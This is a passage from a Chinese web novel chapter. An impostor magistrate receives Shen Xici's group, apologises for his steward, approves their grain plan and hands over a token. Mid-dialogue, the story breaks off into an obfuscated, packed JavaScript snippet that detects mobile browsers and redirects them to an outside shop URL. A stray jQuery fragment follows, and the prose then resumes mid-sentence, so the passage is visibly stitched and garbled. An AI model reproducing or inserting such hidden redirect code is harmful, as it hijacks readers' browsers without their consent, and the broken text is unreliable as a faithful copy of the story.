“如果是利于百姓的事,我当然愿意做。”他眼中的警惕没有散,“你们要做什么呢?”
“先放我下来,我要听听你们的计划。”
于是刀疤男放下他。知府带他们进了一个内院,让人上茶。
他现在的姿态放得很低,毕竟是他想要粮食,便亲手给他们上了茶,用的都是最新的新茶。
管事的拿着茶壶进来,惊讶地看向他们。
知府道,“先前是他找借口怠慢了各位吧,我在这里替他向诸位道个歉。”
他很郑重地对他们所有人都行了个礼。
这下那位管事也有些慌了,他连忙放下手中的茶,诚惶诚恐地对他们道,“我怕知府的事情被发现,所以才……”
知府严厉地打断了他,“下次有什么事情都应该提前告知我,我就算再忙,也不过说一声的事情。”
“若是像今天这样,真的有要事呢!”
那个管事低下头都应了,有些奄奄的。
“你自己下去领罚吧。”知府道。
“是。”
管事又对他们说,“这次是我不对,耽搁了诸位大人的事情了。”
“没事。”沈锡慈道。
“毕竟我们也擅自闯进了你们府衙里面。”
管事见沈锡慈确实也没有怪罪的意思,这才放下心下去了。
知府又拿出一个令牌来,将它递给沈锡慈,“他们都知道我是冒充知府,因此会格外谨慎些。”
“你们拿着这个,以后就不会有人来拦着你们了。”
他的语气很真挚,态度也极好。
沈锡慈便收下了他的令牌。
知府听完了他们的计划,低下头沉吟了片刻。
再抬起头时,他起身向沈锡慈行了一个十分郑重的礼。
“虽然我本来并不是知府,却也担上了身为知府的重任。”
“如今我没能解决好百姓的粮食问题,诸位却能自愿帮助我解决难题。”他说着,眼眶有些红了,声音也带上了一点泣音,但他强忍着没有表现出来。
“别说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718203|208076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是有进牢狱的风险,就算现在让我去死,也是值得的。”他抬起眼,直直地望向每一个人。
“诸位愿意在事成后将粮食分给百姓,我在这里,代全城的百姓先谢过诸位了。”
说着,他向所有人都敬了一杯茶。
别说是刀疤男这种粗人有些不好意思,连淘帮主与沈锡慈都有点动容。
“大家都是为了柳州城着想。”沈锡慈站在来道。
她将茶一饮而尽,随后扶起知府,“不必行礼了,柳州城的百姓应当感谢的是你。”
“这些药草我们就先带走了。”
知府一直送他们出门,他是个大忙人,平日里都找不到人,如今亲自送客,让所有人都侧目。
尤其是那几个站在门口处守卫的士兵。
他们前脚刚骂完人,后脚知府就亲自送客了。
他们脸上一阵青一阵白的,全都低下头说不出话了。
如今想想自己当时的发言,可直是该死啊!
沈锡慈他们回到了锦绣坊。